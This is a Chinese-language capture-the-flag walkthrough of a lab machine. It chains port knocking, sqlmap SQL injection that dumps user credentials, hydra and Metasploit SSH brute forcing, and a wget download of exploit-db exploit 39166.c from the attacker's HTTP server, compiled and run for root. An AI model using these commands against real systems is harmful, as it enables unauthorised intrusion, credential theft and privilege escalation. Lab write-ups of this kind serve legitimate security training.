开放22端口，ssh连接尝试
ssh 192.168.19.174
提示1，2，3 意在端口碰撞
没有knock命令需要先安装
另一种命令
安装不成功时需要换源见尾部内容
安装完成后使用
knock 192.168.19.174 1 2 3 -v
再次扫描全端口，发现1337端口
访问1337端口，发现一张图片，没什么价值
访问robots.txt文件
查看源码，发现一串字符（base64编码）
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh
另一种解码方式
echo 'THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh' | base64 -d
发现还有一层，继续解码
Lzk3ODM0NTIxMC9pbmRleC5waHA=
发现网站首页，访问查看
是一个登录界面
尝试sql注入
直接利用sqlmap跑
sqlmap -u "http://192.168.19.174:1337/978345210/index.php" --forms
一路回车即可
可以看到最下面，提到又基于时间的盲注漏洞
尝试爆库
sqlmap -u "http://192.168.19.174:1337/978345210/index.php" --forms --dbs
爆出来四个数据库
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp
针对Webapp数据库进行爆破里面的表
sqlmap -o -u "http://192.168.19.174:1337/978345210/index.php" --forms -D Webapp --tables
发现一个表Users
爆破字段名
sqlmap -o -u "http://192.168.19.174:1337/978345210/index.php" --forms -D Webapp -T Users --columns
爆破字段内容信息
sqlmap -o -u "http://192.168.19.174:1337/978345210/index.php" --forms -D Webapp -T Users --columns -C id,username,password --dump
将拿到的用户名密码字段写入字典user.txt和password.txt中
第一种hydra爆破
hydra -L user.txt -P password.txt 192.168.19.174 ssh
第二种msf爆破
msfconsole
search ssh_login
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.19.174
set user_file /root/lordoftheroot/user.txt
set pass_file /root/lordoftheroot/password.txt
set stop_on_success true
ssh 登录
提权
searchsploit 39166.c
locate linux/local/40847.cpp 有时候这个命令不灵
cp /usr/share/exploitdb/exploits/linux/local/39166.c ./
python -m SimpleHTTPServer 8081
wget http://192.168.19.147:8081/39166.c
gcc 39166.c -o lordoftheroot
chmod +x lordoftheroot
./lordoftheroot
cd /root
cat Flag.txt
